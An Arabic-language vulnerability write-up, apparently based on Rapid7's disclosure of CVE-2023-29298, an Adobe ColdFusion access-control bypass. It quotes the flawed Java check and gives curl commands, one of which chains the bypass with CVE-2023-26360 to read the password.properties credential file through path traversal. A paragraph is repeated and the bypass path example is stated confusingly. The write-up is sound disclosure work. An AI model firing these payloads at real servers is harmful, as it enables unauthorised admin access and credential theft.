
Adobe ColdFusion Access Control Bypass
ظهرت ثغرة أمنية جديدة باسم “Adobe ColdFusion Access Control Bypass“، والتي تم اكتشافها من قبل Rapid7 وتؤثر على برنامج Adobe ColdFusion. تقوم ميزة Adobe ColdFusion بتقييد الوصول الخارجي إلى حساب المسؤول أو administration endpoints. وقد قامت Rapid7 بالإبلاغ عن هذه الثغرة الأمنية الجديدة إلى شركة Adobe في 11 أبريل 2023.
تتميز ColdFusion بعدة ميزات، ومن بين تلك الميزات ميزة مراقبة الوصول. تتيح هذه الميزة إنشاء قائمة سماح بمجموعة من عناوين IP الخارجية المسموح لها بالوصول إلى واجهة administration endpoints على خادم ويب ColdFusion. وعندما يتم استلام طلب اتصال من عنوان IP خارجي غير مسجل في قائمة السماح، يتم حظر هذا العنوان من الوصول إلى الموارد المطلوبة أثناء الاتصال. وتشكل ميزة مراقبة الوصول جزءًا من التكوين الموصى به أثناء تثبيت ColdFusion.
يتم استخدام ملف Production Profile + Secure Profile لتوفير بيئة أكثر أمانًا ودقة في إدارة ColdFusion. يعمل هذا الملف على تعزيز مستوى الأمان وتوفير بيئة أمنية متينة للمستخدمين. يمكن الاطلاع على دليل “Administer ColdFusion security” للحصول على مزيد من المعلومات حول هذا الموضوع.
يمكن للتثبيت الذي لم يتم إنشاؤه باستخدام Secure Profile أو ملف الأمان تكوين السيطرة على الوصول يدويًا إلى نقاط الوصول الإدارية (ColdFusion Administrator endpoints) عن طريق إدخال علامة غير متوقعة في عنوان URL، وهي (/).
ColdFusion description
Adobe ColdFusion هو بيئة تطوير البرمجيات التي تستخدم لإنشاء تطبيقات الويب والأعمال الإلكترونية. تتميز ColdFusion بإمكانية التكامل مع قواعد البيانات والخوادم والتطبيقات الأخرى بشكل سهل، كما تتميز بقدرتها على تشغيل تطبيقات الويب بشكل سريع وفعال. يتوفر ColdFusion بعدة إصدارات مثل Standard وEnterprise وDeveloper وTrial والتي تتناسب مع احتياجات المستخدمين المختلفة، وتدعم العديد من لغات البرمجة مثل CFML وJavaScript وJava وغيرها. يستخدم ColdFusion في تطوير تطبيقات الويب والأعمال الإلكترونية للشركات والمؤسسات والحكومات والمواقع الإخبارية والتجارية وغيرها.
Impact
تُقوّض هذه الثغرة الأمان المُقدّم من قِبل ملف تعريف ColdFusion الآمن. باستخدام تجاوُز التحكم في الوصول كما هو موضّح أعلاه، يستطيع المهاجم الوصول إلى كلّ من نقاط نهاية CFM و CFC داخل المسار /CFIDE/ لإدارة ColdFusion، حيث يوجد 437 ملف CFM و 96 ملف CFC في تثبيت ColdFusion 2021 Update 6. يجدر بالملاحظة أن الوصول إلى هذه الموارد لا يعني أن المهاجم مُصرّح له باستخدام هذه الموارد، حيث يتحقق العديد منها من جلسة مُصرّح بها قبل تنفيذ عملياتها. ومع ذلك، فإن تأثير القدرة على الوصول إلى هذه الموارد هو كما يلي:
- قد يقوم المهاجم بتسريب معلومات حساسة
- يجوز للمهاجم تسجيل الدخول إلى ColdFusion Administrator
Credit
تم اكتشاف هذه الثغرة من قبل Stephen Fewer، الباحث الأمني الرئيسي في شركة Rapid7، ويتم الكشف عنها وفقًا لسياسة الكشف عن الثغرات التي تتبعها شركة Rapid7.
Analysis
يقوم التحكم في الوصول بتقييد الوصول للطلبات الخارجية إلى الموارد التي توجد ضمن مسارات عناوين URL التالية:
/restplay /CFIDE/restplay /CFIDE/servermanager /CFIDE/administrator /CFIDE/adminapi /CFIDE/componentutils /CFIDE/main /CFIDE/wizards
عدة خوادم Java servlet يفرضون التحكم في الوصول على الموارد المكشوفة منها.
يفرض العديد من خوادم Java servlet التحكم في الوصول على الموارد التي يتم عرضها، بما في ذلك:
- coldfusion.CfmServlet الذي يتعامل مع جميع الطلبات الموجهة إلى نقاط نهاية وحدة ColdFusion Module (CFM).
- coldfusion.xml.rpc.CFCServlet الذي يتعامل مع الطلبات الموجهة إلى نقاط نهاية لغة ترميز علامات ColdFusion Markup Language (CFML) ونقاط نهاية لمكونات ColdFusion (CFC).
- coldfusion.rds.RdsGlobals الذي يتعامل مع الطلبات المتعلقة بميزة Remote Development Service (RDS).
تم تنفيذ ميزة التحكم في الوصول في فئة coldfusion.filter.IPFilterUtils، ويقوم الأسلوب checkAdminAccess بتنفيذ المنطق الخاص بالتحكم في الوصول، كما هو موضح أدناه:
public class IPFilterUtils { private static final String[] PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager" }; public static void checkAdminAccess(HttpServletRequest req) { String uri = req.getRequestURI(); String uriToMatch = uri.substring(req.getContextPath().length()).toLowerCase(); for (String path : PATHS) { if (uriToMatch.startsWith(path)) { String ip = req.getRemoteAddr(); if (!isAllowedIP(ip)) throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip); break; } } }
يتم في الكود أعلاه مقارنة مسار عنوان URL لطلب HTTP مع قائمة من المسارات الحساسة. وإذا تم العثور على طلب يبدأ بأي من هذه المسارات الحساسة، يتم إجراء فحص إضافي للتأكد من وجود عنوان IP الخارجي للطلب في قائمة السماح. وإذا لم يكن الطلب الموجه إلى تلك المسارات من قائمة العناوين IP الخارجي المسموح به، يتم رفع استثناء يؤدي إلى رفض الطلب.
يمكن للمهاجم تجاوز عملية الفحص المذكورة في النص السابق عن طريق إدخال حرف إضافي في بداية مسار عنوان URL المستهدف، مما يؤدي إلى فشل الفحص الذي يعتمد على الدالة startsWith. على سبيل المثال، يمكن للمهاجم طلب المورد المطلوب من المسار CFIDE/administrator// بدلاً من CFIDE/administrator/، وهذا سيتيح له تجاوز عملية المراقبة والحصول على المورد المطلوب، وذلك لأن الشرطة المائلة الإضافية لا تؤثر على صلاحية المسار المطلوب.
Exploitation
يُمكننا إظهار الثغرة باستخدام أمر curl. على سبيل المثال، عند محاولة القيام بعملية استدعاء طريقة عن بعد wizardHash على endpoint //CFIDE/wizards/common/utils.cfc، يمكن استخدام الأمر curl التالي:
c:\> curl -v -k http://ip:port/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo
Chaining CVE-2023-29298 to CVE-2023-26360
يمكن استغلال تجاوز التحكم في الوصول الموجود في CVE-2023-29298 للمساعدة في استغلال ثغرة ColdFusion الموجودة بالفعل. أحد أمثلة ذلك هو CVE-2023-26360، الذي يسمح بقراءة الملفات التي لا يحق للمهاجم الوصول إليها بالإضافة إلى تنفيذ أكواد عن بُعد. لاستغلال CVE-2023-26360 لقراءة ملف معين، يجب على المهاجم طلب نقطة نهاية CFC صالحة على الهدف. كما رأينا، هناك عدة نقاط نهاية متاحة في إدارة ColdFusion. يمكن تنفيذ استغلال CVE-2023-26360 لقراءة ملف password.properties باستخدام الأمر curl التالي:
يمكن القول بأنه يمكن استغلال ثغرة CVE-2023-29298 في تعزيز استغلال ثغرة ColdFusion الموجودة بالفعل، على سبيل المثال ثغرة CVE-2023-26360. تسمح ثغرة CVE-2023-26360 بقراءة الملفات التي لا يحق للمهاجم الوصول إليها وتنفيذ أكواد عن بُعد، ويجب على المهاجم في هذه الحالة طلب نقطة نهاية CFC صالحة على الهدف. ومن الملاحظ أن هناك عدة نقاط نهاية متاحة في إدارة ColdFusion.
لقراءة ملف معين، يمكن للمهاجم استخدام الأمر curl التالي:
c:\> curl -v -k http://173.10.165.133:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"
تمكنا بنجاح من استغلال ثغرة CVE-2023-26360، وذلك بفضل قدرتنا على الاستفادة من ثغرة CVE-2023-29298 كنقطة انطلاق، مما مكّننا من قراءة محتويات ملف password.properties.
security solutions
أصدرت شركة Adobe تصحيحاً لهذا الثغرة في 11 يوليو 2023. وفقًا لشركة Adobe، فإن الإصدارات التالية تصلح المشكلة:
- ColdFusion 2023 GA build
- ColdFusion 2021 Update 7
- ColdFusion 2018 Update 17